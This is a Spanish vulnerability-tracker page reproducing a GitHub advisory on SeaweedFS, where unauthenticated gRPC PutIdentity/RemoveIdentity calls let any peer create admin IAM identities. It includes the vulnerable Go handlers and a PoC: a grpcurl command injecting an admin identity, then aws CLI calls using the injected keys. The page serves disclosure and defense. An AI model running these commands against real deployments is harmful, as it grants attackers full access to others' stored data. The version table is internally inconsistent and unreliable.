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Advisory · GitHub · Go · github.com/seaweedfs/seaweedfs

GHSA-5FX4-C9QP-36JC

S3 gateway gRPC PutIdentity and RemoveIdentity accept unauthenticated requests, allowing any network peer to inject admin IAM identities and bypass SigV4 authentication

Sin parche publicado
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CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición63 dDesde la divulgación, 18 sept 2026, 3:00 p. m.
Detección62 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (crítica) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. No hay versión corregida: aplique mitigaciones.
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Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
18 sept 26
20 nov 26
21 nov 26
18 sept 26
4 oct 26
20 oct 26
5 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-5FX4-C9QP-36JC divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

The S3 gateway's gRPC service exposes `PutIdentity` and `RemoveIdentity` for managing IAM identities. Neither handler calls any authentication or authorization function before writing to the IAM store, so any network peer that can reach the gRPC port can create an identity with `Admin` actions and an attacker-chosen access key and secret key. That identity is then accepted by the S3 gateway's SigV4 layer as a fully privileged user, completely bypassing SigV4/IAM.

Deployment and configuration
  • Components running: master, volume server, and filer with `-s3` enabled
  • Attacker-reachable port: the S3 gRPC port
  • Authentication: none by default
  • Attacker's starting position: unauthenticated network attacker with no S3 credential and no certificate
  • Trust boundary crossed: privilege escalation from an unauthenticated network peer to full administrative capability over the entire S3 credential store.
Details

File: `weed/s3api/s3api_server_grpc.go`
Lines 16–37

func (s3a *S3ApiServer) PutIdentity(ctx context.Context, req *s3_pb.PutIdentityRequest) (*s3_pb.PutIdentityResponse, error) {
    return s3a.iam.PutIdentity(ctx, req)
}

func (s3a *S3ApiServer) RemoveIdentity(ctx context.Context, req *s3_pb.RemoveIdentityRequest) (*s3_pb.RemoveIdentityResponse, error) {
    return s3a.iam.RemoveIdentity(ctx, req)
}

Neither handler checks a caller identity, a JWT, or a client certificate before calling into the IAM store. Every other S3 data-plane operation on this same server passes through SigV4 signature verification first; these two RPCs skip that layer entirely and let a caller write directly into the credential store that SigV4 later trusts. The generated stub carries a doc comment stating the service is "designed for unidirectional propagation from Filer to S3 Servers," but that intent is not enforced anywhere: there is no auth check, no mTLS requirement, and no IP restriction on the listener.

PoC

Baseline: SigV4/IAM is actively enforced

AWS_ACCESS_KEY_ID=readonlykey AWS_SECRET_ACCESS_KEY=readonlysecret \
  aws --endpoint-url http://example:8333 s3 mb s3://should-fail
# An error occurred (AccessDenied) when calling the CreateBucket operation

Attack: inject an admin IAM identity via the unauthenticated gRPC port

grpcurl -plaintext -d '{"user_identity": {"name": "injected", "credentials": [{"access_key": "AKIAINJECTED", "secret_key": "injectedsecret"}], "actions": ["Admin"]}}' \
  example:18333 seaweedfs.SeaweedS3.PutIdentity
# {}

Escalation: authenticate as full admin using the injected credentials

AWS_ACCESS_KEY_ID=AKIAINJECTED AWS_SECRET_ACCESS_KEY=injectedsecret \
  aws --endpoint-url http://example:8333 s3 mb s3://attacker-bucket
# make_bucket: attacker-bucket

Expected: the second and third calls fail, since the attacker never authenticated to the gRPC service and never held a valid S3 credential.
Actual: `PutIdentity` succeeds with no authentication, and the credential it creates is immediately accepted by SigV4, giving the caller full administrative access to every bucket on the deployment.

Impact

Any deployment running `weed s3` or a filer with `-s3` enabled, without a manually configured `[grpc.s3]` TLS section, is vulnerable. This is the default configuration.

An unauthenticated attacker who can reach the S3 gRPC port can do the following:

  • Create an arbitrary IAM identity with `Admin` actions and an attacker-chosen access key and secret key
  • Use that identity to authenticate as a full admin through the normal SigV4 S3 API, reading, writing, and deleting any bucket or object
  • Remove existing IAM identities, denying legitimate users access to their own data
  • Repeat the attack at will, since the gRPC port remains permanently unauthenticated

No authentication or special privileges are required beyond network reachability to the S3 gRPC port.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
github.com/seaweedfs/seaweedfs≤ 4.45
4.45
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/seaweedfs/seaweedfs
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-5fx4-c9qp-36jc

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